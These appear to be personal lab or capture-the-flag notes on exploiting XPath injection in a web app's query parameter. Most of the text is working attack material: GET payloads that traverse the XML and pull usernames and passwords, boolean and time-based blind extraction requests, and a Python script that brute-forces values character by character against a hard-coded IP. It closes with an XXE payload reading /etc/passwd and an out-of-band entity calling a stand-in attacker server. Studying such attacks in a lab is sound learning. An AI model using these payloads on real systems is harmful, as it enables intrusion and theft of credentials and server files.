XPath Advanced Data Exfiltration

XPath Advanced Data Exfiltration Notes

1. Understanding XPath Injection

  • XPath is used to query XML data.

  • Injection occurs when user input is inserted into an XPath query without proper sanitization.

  • Common attacks include authentication bypass, data extraction, and blind XPath injection.

2. Successful Payload Analysis

  • The working payload:

    GET /index.php?q=SOMETHINGINVALID&f=fullstreetname+|+/*[1]/*[2]/*[3]/*[1]/*[3]
  • The | (union operator) allowed traversal through multiple XML nodes.

  • The nested /*[1]/*[2]/*[3]/*[1]/*[3] structure accessed deeper elements in the XML hierarchy.

3. Additional Exploration

Extract Full XML Structure

  • Try dumping all available XML elements:

    GET /index.php?q=SOMETHINGINVALID&f=| //*
  • Navigate deeper step by step:

    GET /index.php?q=SOMETHINGINVALID&f=| /*/*/*/*

Extract Multiple Fields

  • To retrieve multiple values at once:

    GET /index.php?q=SOMETHINGINVALID&f=fullstreetname | phone | email

Extract Usernames and Passwords

  • List all users:

    GET /index.php?q=SOMETHINGINVALID&f=//users/user/*
  • Extract credentials:

    GET /index.php?q=SOMETHINGINVALID&f=//users/user[1]/password

4. Blind XPath Injection

Boolean-Based Extraction

  • Check if a username starts with ‘A’:

    GET /index.php?q=SOMETHINGINVALID&f=boolean(substring(//users/user/username,1,1)='A')

Automated Character-by-Character Extraction

import requests
import string

url = "http://94.237.53.146:51113/index.php"
extracted_data = ""

for i in range(1, 50):  # Adjust based on expected length
    for char in string.ascii_letters + string.digits:
        payload = f"substring(//users/user/username,{i},1)='{char}'"
        response = requests.get(url, params={"q": "SOMETHINGINVALID", "f": payload})
        
        if "valid response" in response.text:  # Adjust based on response behavior
            extracted_data += char
            print(f"Extracted so far: {extracted_data}")
            break

print(f"Final Extracted Data: {extracted_data}")

5. Advanced Attacks

Time-Based Blind Injection

  • If there’s no direct output, force longer responses:

    GET /index.php?q=SOMETHINGINVALID&f=if(boolean(substring(//users/user/username,1,1)='A'), //*[count(//users/user/*) > 100000], //*[1])

Testing for XXE Injection

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<foo>&xxe;</foo>
  • If the response includes file contents, the server is vulnerable.

Out-of-Band (OOB) Data Exfiltration

<!DOCTYPE foo [ <!ENTITY % remote SYSTEM "http://your-server.com/malicious.dtd"> %remote; ]>
  • If the server contacts your external URL, it confirms an OOB vulnerability.

Conclusion

  • XPath injection was successfully exploited.

  • Additional attacks were tested for further enumeration.

  • Blind extraction techniques and external entity vulnerabilities were explored.

Last updated